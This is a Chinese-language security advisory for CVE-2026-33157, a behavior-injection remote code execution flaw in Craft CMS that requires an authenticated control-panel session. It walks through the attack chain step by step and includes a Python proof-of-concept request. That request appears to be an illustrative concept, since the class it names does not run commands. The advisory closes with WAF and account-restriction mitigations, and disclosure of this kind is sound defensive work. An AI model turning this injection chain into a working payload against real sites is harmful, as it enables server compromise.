IPBUF安全漏洞报告
English
CVE-2026-33157 CVSS 7.2 高危

CVE-2026-33157 Craft CMS 远程代码执行漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33157
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Craft CMS

相关标签

RCECraft CMS代码注入权限绕过Yii2CVE-2026-33157

漏洞概述

Craft CMS 5.6.0至5.9.13之前版本存在远程代码执行(RCE)漏洞。该漏洞是对之前修复方案的绕过,尽管官方在其他位置添加了cleanseConfig()以过滤Yii2行为注入,但在ElementIndexesController的actionFilterHud方法中,fieldLayouts参数未经任何净化直接传递给FieldLayout::createFromConfig()。这使得拥有控制面板访问权限的认证用户能够注入恶意配置,进而触发行为注入攻击链,在服务器上执行任意代码。

技术细节

该漏洞的核心在于Craft CMS未能全面修补Yii2框架的行为注入问题。攻击者利用ElementIndexesController::actionFilterHud()接口,该接口处理过滤面板请求。与其他经过清洗的接口不同,此处的fieldLayouts参数直接流向FieldLayout::createFromConfig()。攻击者可构造包含"as"键的恶意JSON数据,利用Yii2的对象配置机制实例化任意类或绑定事件。通过指定特定的PHP类(如包含system命令执行的类),攻击者可绕过之前的防护逻辑,成功在服务器端上下文中执行恶意代码。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取有效的Craft CMS控制面板账户凭证(认证要求为高权限)。
STEP 2
步骤2:访问漏洞接口
攻击者向ElementIndexesController的actionFilterHud端点发送请求。
STEP 3
步骤3:构造恶意载荷
在请求体中构造fieldLayouts参数,包含未被过滤的"as"或"on"前缀键,指向可执行代码的恶意类。
STEP 4
步骤4:触发漏洞
服务器端直接调用FieldLayout::createFromConfig()处理恶意参数,未进行清洗。
STEP 5
步骤5:执行代码
Yii2框架解析配置,实例化恶意对象并触发__construct或事件函数,执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit concept for CVE-2026-33157 # Target: Craft CMS < 5.9.13 # Requirement: Authenticated Session target_url = "https://target-craft.com/admin/element-indexes/filter-hud" session_cookie = "{PHPSESSID_COOKIE_VALUE}" # Payload structure demonstrating behavior injection via 'as' key payload = { "fieldLayouts": { "uid": "test-layout", "as": { "class": "yii\\base\\Object", # Malicious class instantiation "__construct()": [ ["whoami"] # Arbitrary command argument ] } } } headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

Craft CMS >= 5.6.0, < 5.9.13

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过Web应用防火墙(WAF)规则拦截包含"as"、"on"等特定键名的JSON请求体,特别是发往element-indexes相关接口的请求。同时,应临时禁用非必要的管理员账户,仅保留核心运维人员访问权限,以降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表